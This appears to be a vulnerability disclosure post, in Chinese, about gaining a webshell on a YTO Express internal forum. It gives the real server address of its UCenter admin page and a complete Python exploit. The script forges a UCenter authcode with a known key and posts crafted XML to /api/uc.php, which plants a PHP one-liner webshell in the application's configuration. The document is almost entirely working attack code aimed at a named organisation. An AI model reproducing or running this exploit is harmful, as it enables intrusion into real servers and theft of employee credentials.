圆通某内部论坛getshell（可泄漏员工密码）

http://180.153.190.79:8880/uc_server/admin.php?

#! /usr/bin/env python
 # coding=utf-8
 import hashlib
 import time
 import math
 import base64
 import urllib
 import urllib2
 import sys
 
 
 def microtime(get_as_float=False):
     if get_as_float:
         return time.time()
     else:
         return '%.8f %d' % math.modf(time.time())
 
 
 def get_authcode(string, key=''):
     ckey_length = 4
     key = hashlib.md5(key).hexdigest()
     keya = hashlib.md5(key[0:16]).hexdigest()
     keyb = hashlib.md5(key[16:32]).hexdigest()
     keyc = (hashlib.md5(microtime()).hexdigest())[-ckey_length:]
     #keyc = (hashlib.md5('0.736000 1389448306').hexdigest())[-ckey_length:]
     cryptkey = keya + hashlib.md5(keya + keyc).hexdigest()
 
     key_length = len(cryptkey)
     string = '0000000000' + /
         (hashlib.md5(string + keyb)).hexdigest()[0:16] + string
     string_length = len(string)
     result = ''
     box = range(0, 256)
     rndkey = dict()
     for i in range(0, 256):
         rndkey[i] = ord(cryptkey[i % key_length])
     j = 0
     for i in range(0, 256):
         j = (j + box[i] + rndkey[i]) % 256
         tmp = box[i]
         box[i] = box[j]
         box[j] = tmp
     a = 0
     j = 0
     for i in range(0, string_length):
         a = (a + 1) % 256
         j = (j + box[a]) % 256
         tmp = box[a]
         box[a] = box[j]
         box[j] = tmp
         result += chr(ord(string[i]) ^ (box[(box[a] + box[j]) % 256]))
     return keyc + base64.b64encode(result).replace('=', '')
 
 
 def get_shell(url, key, host):
     '''
     发送命令获取webshell
     '''
     headers = {'Accept-Language': 'zh-cn',
                'Content-Type': 'application/x-www-form-urlencoded',
                'User-Agent': 'Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)',
                'Referer': url
                }
     tm = time.time() + 10 * 3600
     tm = "time=%d&action=updateapps" % tm
     code = urllib.quote(get_authcode(tm, key))
     url = url + "?code=" + code
     data1 = '''<?xml version="1.0" encoding="ISO-8859-1"?>
             <root>
             <item id="UC_API">http://xxx/');一句话//</item>
             </root>'''
     try:
         req = urllib2.Request(url, data=data1, headers=headers)
         ret = urllib2.urlopen(req)
     except:
         return "访问出错"
     data2 = '''<?xml version="1.0" encoding="ISO-8859-1"?>
             <root>
             <item id="UC_API">http://aaa</item>
             </root>'''
     try:
         req = urllib2.Request(url, data=data2, headers=headers)
         ret = urllib2.urlopen(req)
     except:
         return "error"
     return "webshell:"
 
 if __name__ == '__main__':
     host = '123.123.123.123'
     key = 'uckey'
     url = host + "/api/uc.php"
     print get_shell(url, key, host)

http://180.153.190.79:8880/uc_server/admin.php?